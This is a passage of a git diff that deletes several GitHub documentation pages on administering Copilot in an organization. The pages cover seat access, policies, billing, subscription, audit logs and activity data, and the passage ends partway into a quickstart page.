copilot -topics: - - Copilot ---- - -As an organization owner, you can manage requests for {% data variables.product.prodname_copilot_for_business %} from your organization's settings. Additionally, {% data variables.product.prodname_dotcom %} sends you a weekly email with a summary of all pending requests. - -If your organization is owned by an enterprise, before you can approve a request, you may need to request that the enterprise owners enable {% data variables.product.prodname_copilot_for_business %} for your organization by going to [https://github.com/settings/copilot](https://github.com/settings/copilot) and requesting access under "Get Copilot from an organization." - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org-list %} -1. In the "Access" section of the sidebar, click **{% octicon "bell" aria-hidden="true" %} Requests from members**. -1. To accept the request and grant the member access to {% data variables.product.prodname_copilot_for_business %}, click **Buy {% data variables.product.prodname_copilot_business_short %}**. - -All requests for {% data variables.product.prodname_copilot_for_business %} are grouped together under "{% data variables.product.prodname_copilot_business_short %}." diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/revoking-access-to-copilot-for-members-of-your-organization.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/revoking-access-to-copilot-for-members-of-your-organization.md deleted file mode 100644 index 15d6aaeee6ca..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/revoking-access-to-copilot-for-members-of-your-organization.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Revoking access to Copilot for members of your organization -shortTitle: Revoking access -intro: 'Remove access to {% data variables.product.prodname_copilot %} for some or all of the members of your organization.' -permissions: 'Organization owners for organizations with a subscription to {% ifversion ghec %}{% data variables.product.prodname_copilot_enterprise_short %} or{% endif %} {% data variables.product.prodname_copilot_business_short %}.' -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /copilot/managing-github-copilot-in-your-organization/revoking-access-to-copilot-for-members-of-your-organization - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/revoking-access-to-copilot-for-members-of-your-organization ---- - -## How revoking access affects billing - -Revoking access takes effect from the start of the next billing cycle. If you remove a seat during a cycle, the user will have access to {% data variables.product.prodname_copilot_short %} for the remainder of the billing cycle. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot). - -## Revoking access to {% data variables.product.prodname_copilot %} for your whole organization - -{% data reusables.copilot.disable-copilot-organization %} - -## Revoking access to {% data variables.product.prodname_copilot %} for specific users in your organization - -Removing a user from the organization(s) that had granted them {% data variables.product.prodname_copilot %} access will automatically revoke their {% data variables.product.prodname_copilot %} access. Alternatively, you can revoke {% data variables.product.prodname_copilot %} access while preserving their organization membership. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.copilot.access-settings %} -1. Under {% ifversion ghec %}"{% data variables.product.prodname_copilot_enterprise_short %} is active in your organization" or {% endif %}"{% data variables.product.prodname_copilot_business_short %} is active in your organization," select **Enabled For: selected members**. - - * In the "Confirm policy update" dialog, click **Renew seats**. - -1. Under "Access management," in the search bar, type the member's username or full name. -1. To remove the member from the list of users who have access to {% data variables.product.prodname_copilot %}, select the checkbox to the left of their username, then click **Cancel seat**. - - ![Screenshot of the Access management section, with a user selected and the 'Cancel seat' button highlighted.](/assets/images/help/copilot/cancel-copilot-seat.png) - -1. In the "Confirm seat removal" dialog, click **Remove seats**. - -## Using the API to revoke access to {% data variables.product.prodname_copilot %} - -You can use {% data variables.product.prodname_dotcom %}'s REST API to revoke access to {% data variables.product.prodname_copilot %} for teams, or specific users, in your organization. For example, you might want to write a script to automatically revoke seats for organization members who have not been using {% data variables.product.prodname_copilot_short %}. See [Remove teams from the Copilot subscription for an organization](/rest/copilot/copilot-user-management?apiVersion=2022-11-28#remove-teams-from-the-copilot-subscription-for-an-organization) and [Remove users from the Copilot subscription for an organization](/rest/copilot/copilot-user-management?apiVersion=2022-11-28#remove-users-from-the-copilot-subscription-for-an-organization). - -## Further reading - -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center) -* [AUTOTITLE](/copilot/managing-github-copilot-in-your-organization/granting-access-to-copilot-for-members-of-your-organization). -* [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-github-copilot-activity-in-your-organization/reviewing-usage-data-for-github-copilot-in-your-organization) diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization.md deleted file mode 100644 index c786cb5725c3..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization.md +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Managing policies for Copilot in your organization -intro: 'Learn how to manage policies for {% data variables.product.prodname_copilot %} in your organization.' -permissions: Organization owners -product: 'Organizations with a subscription to {% data variables.product.prodname_copilot_for_business %} or {% data variables.product.prodname_copilot_enterprise %}' -versions: - feature: copilot -redirect_from: - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization - - /copilot/managing-github-copilot-in-your-organization/managing-policies-for-copilot-business-in-your-organization - - /copilot/managing-copilot-for-business/managing-policies-for-copilot-for-business-in-your-organization - - /copilot/managing-copilot-business/managing-policies-for-copilot-business-in-your-organization - - /copilot/managing-github-copilot-in-your-organization/managing-policies-and-features-for-copilot-in-your-organization - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-policies-and-features-for-copilot-in-your-organization - - /copilot/github-copilot-chat/copilot-chat-in-github-mobile/enabling-github-copilot-chat-for-github-mobile - - /copilot/github-copilot-chat/github-copilot-extensions/managing-github-copilot-extensions - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/managing-policies-for-copilot-in-your-organization -topics: - - Copilot -shortTitle: Managing policies ---- - -## About policies for {% data variables.product.prodname_copilot %} - -Organization owners can set policies to govern how {% data variables.product.prodname_copilot %} can be used within the organization. For example, an organization owner can enable or disable the following {% data variables.product.prodname_copilot_short %} features{% ifversion ghec %} (unless an enterprise owner has blocked access to these features at the enterprise level){% endif %}: - -* {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_dotcom_the_website %} -* {% data variables.product.prodname_copilot_chat_short %} in the IDE -* Editor preview features, such as: - * Vision (available in {% data variables.product.prodname_vscode_shortname %} and {% data variables.product.prodname_vs %}) - * {% data variables.copilot.next_edit_suggestions_caps %} (available in {% data variables.product.prodname_vscode_shortname %}) - * GPT-4o {% data variables.product.prodname_copilot_short %} code completion (available in {% data variables.product.prodname_vscode_shortname %} and JetBrains IDEs) - * {% data variables.product.prodname_copilot_short %} Edits agent mode (available in {% data variables.product.prodname_vscode_shortname %}) -* {% data variables.product.prodname_copilot_mobile_short %} -* {% data variables.product.prodname_copilot_cli_short %} and {% data variables.product.prodname_windows_terminal %} -* Suggestions matching public code -* Access to alternative models for {% data variables.product.prodname_copilot_short %} - * Anthropic {% data variables.copilot.copilot_claude_sonnet %} in {% data variables.product.prodname_copilot_short %} - * Google {% data variables.copilot.copilot_gemini_flash %} in {% data variables.product.prodname_copilot_short %} - * OpenAI o1 and o3 models in {% data variables.product.prodname_copilot_short %} - -The policy settings selected by an organization owner determine the behavior of {% data variables.product.prodname_copilot %} for all organization members that have been granted access to {% data variables.product.prodname_copilot_short %} through the organization. - -### Policies for suggestion matching - -Organization settings include an option to either allow or block code suggestions that match publicly available code. If you choose to block suggestions matching public code, {% data variables.product.prodname_copilot %} will check potential code suggestions and the surrounding code of about 150 characters against public code on {% data variables.product.prodname_dotcom %}. If there is a match, or a near match, the suggestion is not shown. - -{% ifversion ghec %}If your enterprise admin has selected **No policy** for suggestion matching at the enterprise level, you can set a suggestion matching policy for your organization. - -If an organization member is assigned a seat by multiple organizations with different suggestion matching policies under the same enterprise, {% data variables.product.prodname_copilot %} will use the most restrictive policy.{% endif %} - -## Enabling {% data variables.product.prodname_copilot_short %} features in your organization - ->[!NOTE] {% data variables.product.prodname_copilot_short %} policies are also managed at the enterprise level. If your organization is part of an enterprise, and explicit settings have been selected at the enterprise level, you cannot override those settings at the organization level. For more information on managing policies at the enterprise level, see [AUTOTITLE](/enterprise-cloud@latest/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.copilot.policy-settings %} -1. Use the dropdown options to the right of each feature to enable or disable that feature for your organization. - - For example, to enable or disable suggestion matching, in the "Suggestions matching public code" dropdown, select **Allowed** or **Blocked**. - -1. If your organization has a {% data variables.product.prodname_copilot_business_short %}{% ifversion ghec %} or {% data variables.product.prodname_copilot_enterprise_short %}{% endif %} subscription and you enable "{% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_dotcom_the_website %}", two additional options are displayed: - - {% data reusables.copilot.policies-for-dotcom %} - -## Setting a policy for {% data variables.product.prodname_copilot_extensions %} in your organization - -{% data variables.product.prodname_copilot_extensions %} integrate external tools with {% data variables.product.prodname_copilot_chat %}. See [AUTOTITLE](/copilot/using-github-copilot/using-extensions-to-integrate-external-tools-with-copilot-chat). - -Before you install {% data variables.product.prodname_copilot_extensions_short %} in your organization, you should set a usage policy for your organization. Setting a usage policy allows you to enable or disable {% data variables.product.prodname_copilot_extensions_short %} for all members of your organization, limiting your security risk. - -{% ifversion ghec %} -If {% data variables.product.prodname_copilot_extensions_short %} have not been enabled or disabled at the enterprise level, you can set a {% data variables.product.prodname_copilot_extensions_short %} policy for your organization. -{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.copilot.policy-settings %} -1. In the "{% data variables.product.prodname_copilot_extensions_short %}" section, select the dropdown menu, then enable or disable {% data variables.product.prodname_copilot_extensions_short %} for your organization. - -### Managing permissions for a {% data variables.product.prodname_copilot_extension %} in your organization - -After you have installed a {% data variables.product.prodname_copilot_extension_short %} in your organization, you can view the permissions the extension has in your organization, and why those permissions are necessary. If you do not want the {% data variables.product.prodname_copilot_extension_short %} to have the listed permissions, you can suspend or uninstall the extension. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.apps.access-org-app-settings %} -1. Optionally, to filter your installed {% data variables.product.prodname_github_apps %} for {% data variables.product.prodname_copilot_extensions_short %}, select the **Filter:** dropdown menu, then click **{% data variables.product.prodname_copilot_extensions_short %}**. -1. Next to the {% data variables.product.prodname_copilot_extension_short %} you want to review or modify, click **Configure**. -1. In the "Permissions" section, review the permissions listed for the {% data variables.product.prodname_copilot_extension_short %}. Optionally, you can block the {% data variables.product.prodname_copilot_extension_short %}'s access to your organization in one of two ways: - * To indefinitely suspend the {% data variables.product.prodname_copilot_extension_short %}'s access to resources in your organization while keeping the extension installed, in the "Danger zone" section, click **Suspend**. - * To uninstall a {% data variables.product.prodname_copilot_extension_short %} completely, in the "Danger zone" section, click **Uninstall**. - -## Further reading - -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center) -* [AUTOTITLE](/copilot/using-github-copilot/finding-public-code-that-matches-github-copilot-suggestions){% ifversion ghec %} -* [AUTOTITLE](/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-enterprise){% endif %} diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/about-billing-for-github-copilot-in-your-organization.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/about-billing-for-github-copilot-in-your-organization.md deleted file mode 100644 index f94e080e8662..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/about-billing-for-github-copilot-in-your-organization.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: About billing for GitHub Copilot in your organization -shortTitle: About billing -intro: 'Learn about pricing and billing cycles for {% data variables.product.prodname_copilot_short %} in your organization.' -permissions: 'Organization owners' -product: '{% data variables.product.prodname_copilot_for_business %}' -versions: - feature: copilot -type: overview -topics: - - Copilot ---- - -## About pricing for {% data variables.product.prodname_copilot_short %} in your organization - -Subscriptions to {% data variables.product.prodname_copilot_business_short %} are available on a monthly cycle. The subscriptions are billed at the end of each cycle, at {% data variables.copilot.cfb_price_per_month %} per user per month. - -## About the billing cycle for {% data variables.product.prodname_copilot_short %} in your organization - -Billed users are calculated at the end of each billing cycle, based on the number of {% data variables.product.prodname_copilot %} seats that are assigned. You can add or remove seats at any time during the billing cycle. - -* **Any seat assigned part way through the billing cycle** will be prorated based on the number of days remaining in the cycle. -* **Any seat assignment removed during a billing cycle** will take effect from the beginning of the next cycle. The person will still be able to use {% data variables.product.prodname_copilot %} until the end of the cycle. If a user's access to the organization itself is removed, they will lose access immediately. - -If your organization belongs to an enterprise, your enterprise will be charged on whichever payment method you’ve set up for the organization account, such as a credit card or a Microsoft Azure subscription. - -{% ifversion billing-auth-and-capture %} - -{% data reusables.billing.authorization-charge %} - -{% endif %} - -> [!NOTE] {% data variables.product.prodname_copilot %} billing operates in Coordinated Universal Time (UTC), but it calculates your bill according to the timezone of your billing cycle. For example, if you're billed through Azure and your current billing cycle ends at 11:59 PM EST on December 1st, canceling a seat at 7:00 PM EST on December 1st might show the seat cancellation at 12:00 AM UTC on December 2nd. However, the seat would end within the billing cycle that you requested the cancellation, and you would not pay for that seat in the following cycle. - -### About seat assignment for {% data variables.product.prodname_copilot_short %} in your organization - -A {% data variables.product.prodname_copilot %} seat is a license to use {% data variables.product.prodname_copilot %}, which is granted to a unique user account through an organization's {% data variables.product.prodname_copilot_for_business %} subscription. Each month, the organization is charged for the number of assigned seats. - -Removing all assigned {% data variables.product.prodname_copilot %} seats in your organization will cancel your organization's {% data variables.product.prodname_copilot_short %} subscription. - -Seat assignment is managed by organization owners. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/granting-access-to-copilot-for-members-of-your-organization). - -If you are a member of an organization with a {% data variables.product.prodname_copilot %} subscription, to use the subscription, you will need to be assigned a seat by an organization owner. - -{% data reusables.copilot.copilot-one-account %} - -### About billing through Azure - -When you connect an Azure subscription to your organization account and enable metered billing via Azure, metered usage will start to be sent to Azure. You will be billed through {% data variables.product.prodname_dotcom %} for usage from the start of the current billing cycle to when you enabled metered billing via Azure, on your next billing date. The period between the date you connected your Azure subscription and enabled metered billing via Azure, and the end of the calendar month will be charged in Azure on the first of the month. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription). - -> [!NOTE] Usage data is sent to Azure daily, but you are billed at the end of the month based on the number of seats used. This means that although you can track your daily spending (number of seats in this case), actual payments are processed monthly. - -## Further reading - -* [AUTOTITLE](/copilot/about-github-copilot/subscription-plans-for-github-copilot) -* [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization) -* [AUTOTITLE](/billing/managing-your-github-billing-settings/adding-information-to-your-receipts) diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/canceling-copilot-for-your-organization.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/canceling-copilot-for-your-organization.md deleted file mode 100644 index 74427095c18a..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/canceling-copilot-for-your-organization.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Canceling Copilot for your organization -shortTitle: Cancel -intro: 'Removing all assigned {% data variables.product.prodname_copilot %} seats in your organization will cancel your organization''s {% data variables.product.prodname_copilot_short %} subscription.' -permissions: Organization owners -product: '{% data variables.product.prodname_copilot_business_short %}' -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/canceling-copilot-for-your-organization ---- - -{% ifversion ghec %} ->[!NOTE] -> If your organization was granted access to {% data variables.product.prodname_copilot_short %} through an enterprise, your enterprise admin will need to cancel the subscription instead. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/canceling-copilot-for-your-enterprise). -{% endif %} - -To cancel your {% data variables.product.prodname_copilot_business_short %} subscription for your organization account, you need to remove all assigned {% data variables.product.prodname_copilot %} seats. - -{% data reusables.copilot.disable-copilot-organization %} diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/index.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/index.md deleted file mode 100644 index 77376fe6c64c..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Managing the Copilot subscription for your organization -shortTitle: Manage subscription -intro: 'Organization owners can manage the {% data variables.product.prodname_copilot_short %} subscription for their organization.' -versions: - feature: copilot -topics: - - Copilot -children: - - /about-billing-for-github-copilot-in-your-organization - - /subscribing-to-copilot-for-your-organization - - /canceling-copilot-for-your-organization ---- diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/subscribing-to-copilot-for-your-organization.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/subscribing-to-copilot-for-your-organization.md deleted file mode 100644 index a43e64339568..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/subscribing-to-copilot-for-your-organization.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Subscribing to Copilot for your organization -shortTitle: Subscribe -intro: 'Organization owners can set up a {% data variables.product.prodname_copilot_business_short %} subscription for their organization.' -permissions: Organization owners -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /billing/managing-billing-for-github-copilot/managing-your-github-copilot-business-subscription - - /billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription-for-your-organization-or-enterprise - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/subscribing-to-copilot-for-your-organization ---- - -{% ifversion ghec %} ->[!NOTE] -> If your organization is part of an enterprise, you can gain {% data variables.product.prodname_copilot_short %} through your enterprise instead. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/subscribing-to-copilot-for-your-enterprise) and [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/enabling-copilot-for-organizations-in-your-enterprise). -{% endif %} - -{% data reusables.copilot.signup-procedure-org %} - -## Next steps - -* To finish setting up {% data variables.product.prodname_copilot_short %} for your organization, see [AUTOTITLE](/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-organization). -* For billing information, see [AUTOTITLE](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot#about-billing-for-github-copilot-business-and-github-copilot-enterprise) and [AUTOTITLE](/billing/managing-your-github-billing-settings). diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/index.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/index.md deleted file mode 100644 index 319f8b7e59e8..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Reviewing activity related to GitHub Copilot in your organization -shortTitle: Review activity -intro: 'Organization owners can review {% data variables.product.prodname_copilot_short %} usage in their organization.' -versions: - feature: copilot -topics: - - Copilot -children: - - /reviewing-user-activity-data-for-copilot-in-your-organization - - /reviewing-audit-logs-for-copilot-business ---- diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/reviewing-audit-logs-for-copilot-business.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/reviewing-audit-logs-for-copilot-business.md deleted file mode 100644 index 21619c69a4ef..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/reviewing-audit-logs-for-copilot-business.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Reviewing audit logs for Copilot Business -shortTitle: Audit logs -intro: 'Review the audit logs for your {% data variables.product.prodname_copilot_business_short %} subscription to understand what actions have been taken by which users.' -redirect_from: - - /copilot/managing-copilot-for-business/reviewing-your-organization-or-enterprises-audit-logs-for-copilot-for-business - - /copilot/managing-copilot-business/reviewing-your-organization-or-enterprises-audit-logs-for-copilot-business - - /copilot/managing-github-copilot-in-your-organization/reviewing-your-organization-or-enterprises-audit-logs-for-copilot-business - - /copilot/managing-github-copilot-in-your-organization/reviewing-audit-logs-for-copilot-business - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-audit-logs-for-copilot-business - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-github-copilot-activity-in-your-organization/reviewing-audit-logs-for-copilot-business - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/reviewing-audit-logs-for-copilot-business -versions: - feature: copilot -product: '{% data reusables.gated-features.copilot-audit-logs %}' -permissions: 'Organization owners{% ifversion ghec %} and enterprise administrators{% endif %} can interact with the audit logs.' -topics: - - Copilot ---- - -## About audit logs for {% data variables.product.prodname_copilot_business_short %} - -You can use the audit logs for {% data variables.product.prodname_copilot_business_short %} to review actions taken by users in your organization{% ifversion ghec %} or enterprise{% endif %}, such as: - -* Changes to {% data variables.product.prodname_copilot_short %} settings and policies -* The addition or removal of seats from your {% data variables.product.prodname_copilot_business_short %} subscription - -The audit log lists events related to your {% data variables.product.prodname_copilot_business_short %} subscription for the last 180 days. - -{% ifversion ghec %} - -## Viewing your enterprise's audit logs - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.audit-log-tab %} - -{% endif %} - -## Viewing your organization's audit logs - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.audit_log.audit_log_sidebar_for_org_admins %} - -## Searching audit log events for {% data variables.product.prodname_copilot_business_short %} - -You can search for any of the {% data variables.product.prodname_copilot %} audit log events using the `action` qualifier and the `copilot` category. Some example searches that use this syntax are: - -* `action:copilot`: Returns all {% data variables.product.prodname_copilot %} audit log events for your organization{% ifversion ghec %} or enterprise{% endif %}. -* `action:copilot.cfb_seat_assignment_created`: Returns all audit log events related to a {% data variables.product.prodname_copilot_business_short %} seat being assigned to a new user. - -For a full list of {% data variables.product.prodname_copilot %} audit log events, see{% ifversion ghec %} [AUTOTITLE](/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#copilot) and{% endif %} [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization#copilot). - -## Further reading - -{% ifversion ghec %} -* [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise){% endif %} -* [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization) diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/reviewing-user-activity-data-for-copilot-in-your-organization.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/reviewing-user-activity-data-for-copilot-in-your-organization.md deleted file mode 100644 index 317e7e3bcf8e..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/reviewing-user-activity-data-for-copilot-in-your-organization.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Reviewing user activity data for Copilot in your organization -shortTitle: User activity data -intro: 'Review {% data variables.product.prodname_copilot %} usage in your organization to make informed decisions about seat assignment.' -permissions: Organization owners -product: 'Organizations with a subscription to {% ifversion ghec %}{% data variables.product.prodname_copilot_enterprise_short %} or{% endif %} {% data variables.product.prodname_copilot_business_short %}' -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /copilot/managing-github-copilot-in-your-organization/reviewing-usage-data-for-github-copilot-in-your-organization - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-usage-data-for-github-copilot-in-your-organization - - /billing/managing-billing-for-github-copilot/viewing-your-github-copilot-usage - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-github-copilot-activity-in-your-organization/reviewing-usage-data-for-github-copilot-in-your-organization - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/reviewing-usage-data-for-github-copilot-in-your-organization - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/reviewing-user-activity-data-for-copilot-in-your-organization ---- - -## Reviewing user activity data for {% data variables.product.prodname_copilot_short %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.copilot.access-settings %} -1. At the top of the page, under "{% data variables.product.prodname_copilot %}," you can see an overview of your organization's {% data variables.product.prodname_copilot %} usage. You can see the number seats assigned through your {% ifversion ghec %}{% data variables.product.prodname_copilot_enterprise_short %} or {% endif %}{% data variables.product.prodname_copilot_business_short %} subscription, and the estimated monthly cost. - - {% ifversion ghec %} - ![Screenshot of the {% data variables.product.prodname_copilot %} usage overview.](/assets/images/help/copilot/copilot-usage-overview-enterprise.png) - {% else %} - ![Screenshot of the {% data variables.product.prodname_copilot %} usage overview.](/assets/images/help/copilot/copilot-usage-overview.png) - {% endif %} - -1. For more detailed information, next to "Access management," click **Get report**. - - {% data variables.product.prodname_dotcom %} generates a report for you, which you can download as a CSV file. - -1. Alternatively, under "Access management," you can use the **Sort** options to sort the list of users by when they last used {% data variables.product.prodname_copilot %}. - -## Using the API to retrieve assignment information - -You can use {% data variables.product.prodname_dotcom %}'s REST API to get details about the assignment of {% data variables.product.prodname_copilot %} seats in your organization. See [Get Copilot seat information and settings for an organization](/rest/copilot/copilot-user-management?apiVersion=2022-11-28#get-copilot-seat-information-and-settings-for-an-organization), [List all Copilot seat assignments for an organization](/rest/copilot/copilot-user-management?apiVersion=2022-11-28#list-all-copilot-seat-assignments-for-an-organization), and [Get Copilot seat assignment details for a user](/rest/copilot/copilot-user-management?apiVersion=2022-11-28#get-copilot-seat-assignment-details-for-a-user). - -## Understanding the `last_activity_at` calculation - -> [!NOTE] This data is in {% data variables.release-phases.public_preview %} and subject to change. - -To align the `last_activity_at` data point with _actual usage_, the system returns the timestamp of a user's most recent interaction with Copilot functionality. These interactions are: - -* Receiving a code suggestion in an IDE -* Chatting with Copilot Chat in an IDE -{%- ifversion ghec %} -* Creating or updating a knowledge base -* Creating a pull request summary -* Interacting with Copilot Chat in GitHub -{%- endif %} -* Interacting with Copilot on a mobile device -* Interacting with Copilot Chat for CLI - -The `last_activity_at` date is consistent across the CSV generated via `Get Report` in Copilot Access settings as well as through {% data variables.product.prodname_dotcom %}'s REST API. The events which are tracked come from both client, and server-side telemetry. This allows the timestamp to be durable in the event that network conditions would impact client-telemetry. - -### Troubleshooting `last_activity_at` data - -Processing new telemetry events and updating a user's `last_activity_at` date can take up to 24 hours. Users must have telemetry enabled in their IDE for their usage to be reflected in `last_activity_at`. - -If you believe a user's `last_activity_at` date should be more recent than shown in the CSV or API report, please wait 24 hours and check again. If their recent Copilot usage is still not reflected in their `last_activity_at` date, have the user check that telemetry is enabled in their IDE settings. - -## Further reading - -{% ifversion ghec %} -* [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/viewing-copilot-usage-for-your-enterprise){% endif %} -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center) -* [AUTOTITLE](/copilot/managing-github-copilot-in-your-organization/granting-access-to-copilot-for-members-of-your-organization) -* [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/revoking-access-to-copilot-for-members-of-your-organization) -* [AUTOTITLE](/copilot/managing-copilot/configuring-and-auditing-content-exclusion/reviewing-changes-to-content-exclusions-for-github-copilot) diff --git a/content/copilot/quickstart.md b/content/copilot/quickstart.md deleted file mode 100644 index ad4ab0170f26..000000000000 --- a/content/copilot/quickstart.md +++ /dev/null @@ -1,282 +0,0 @@ ---- -title: Quickstart for GitHub Copilot -intro: 'Quickly learn how to use {% data variables.product.prodname_copilot %}.' -allowTitleToDifferFromFilename: true -versions: - feature: copilot -shortTitle: Quickstart -topics: - - Copilot ---- - -## Introduction - -{% webui %} - -You can use {% data variables.product.prodname_copilot_short %} to get answers to coding-related questions, such as how best to code something, how to fix a bug, or how someone else's code works. For full details of what {% data variables.product.prodname_copilot_short %} can do, see [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot). - -If you have access to {% data variables.product.prodname_copilot_workspace %}, {% data variables.product.prodname_copilot_short %} can also help you when you are editing files in a pull request on the {% data variables.product.github %} website by offering you code completion suggestions. For more information about {% data variables.product.prodname_copilot_workspace %}, see [AUTOTITLE](/copilot/using-github-copilot/using-github-copilot-for-pull-requests/using-copilot-to-help-you-work-on-a-pull-request). - -Instructions for using {% data variables.product.prodname_copilot_short %} differ depending on 